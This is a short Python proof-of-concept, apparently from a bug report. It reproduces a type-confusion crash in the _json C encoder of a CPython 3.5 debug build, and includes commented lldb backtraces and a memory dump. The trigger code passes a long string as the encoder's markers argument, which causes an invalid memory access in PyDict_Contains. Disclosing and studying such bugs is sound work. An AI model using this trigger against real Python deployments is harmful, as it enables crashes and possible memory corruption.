# * thread #1: tid = 20279, 0x081394e5 python`PyDict_Contains(op=0x08ae9d90, key=0xb6f2e1e8) + 117 at dictobject.c:2619, name = 'python', stop reason = invalid address (fault address: 0x7) # frame #0: 0x081394e5 python`PyDict_Contains(op=0x08ae9d90, key=0xb6f2e1e8) + 117 at dictobject.c:2619 # 2616 if (hash == -1) # 2617 return -1; # 2618 } # -> 2619 ep = (mp->ma_keys->dk_lookup)(mp, key, hash, &value_addr); # 2620 return (ep == NULL) ? -1 : (*value_addr != NULL); # 2621 } # 2622 # (lldb) print *mp # (PyDictObject) $47 = { # ob_base = { # _ob_next = 0xb70381cc # _ob_prev = 0xb6f90394 # ob_refcnt = 2 # ob_type = 0x08404500 # tainted = 0 # checked = 0 # cnt = 0 # } # ma_used = 65536 # ma_keys = 0xffffffff # ma_values = 0xcbcbcbe4 # } # (lldb) bt # * thread #1: tid = 20279, 0x081394e5 python`PyDict_Contains(op=0x08ae9d90, key=0xb6f2e1e8) + 117 at dictobject.c:2619, name = 'python', stop reason = invalid address (fault address: 0x7) # * frame #0: 0x081394e5 python`PyDict_Contains(op=0x08ae9d90, key=0xb6f2e1e8) + 117 at dictobject.c:2619 # frame #1: 0xb6e449ff _json.cpython-35dm-i386-linux-gnu.so`encoder_listencode_list(s=0xb6f90394, acc=0xbfc42c28, seq=0xb6f2361c, indent_level=1) + 655 at _json.c:1800 # frame #2: 0xb6e4366d _json.cpython-35dm-i386-linux-gnu.so`encoder_listencode_obj(s=0xb6f90394, acc=0xbfc42c28, obj=0xb6f2361c, indent_level=1) + 733 at _json.c:1554 # frame #3: 0xb6e3fc4f _json.cpython-35dm-i386-linux-gnu.so`encoder_call(self=0xb6f90394, args=0xb7049304, kwds=0x00000000) + 319 at _json.c:1386 # frame #4: 0x080c5758 python`PyObject_Call(func=0xb6f90394, arg=0xb7049304, kw=0x00000000) + 264 at abstract.c:2149 # # This is a type confusion bug. encoder->markers can be initialized to an # arbitrary object (string in this POC). PyDict_Contains trusts the caller that # "op" is a dictionary without checking. Some callers can't be trusted :) import _json as j s = "A"*(2**16) enc = j.encode_basestring_ascii e = j.make_encoder(s, None, enc, 4, "ks", "is", False, True, True) l = [1,2,3] e(l, 1)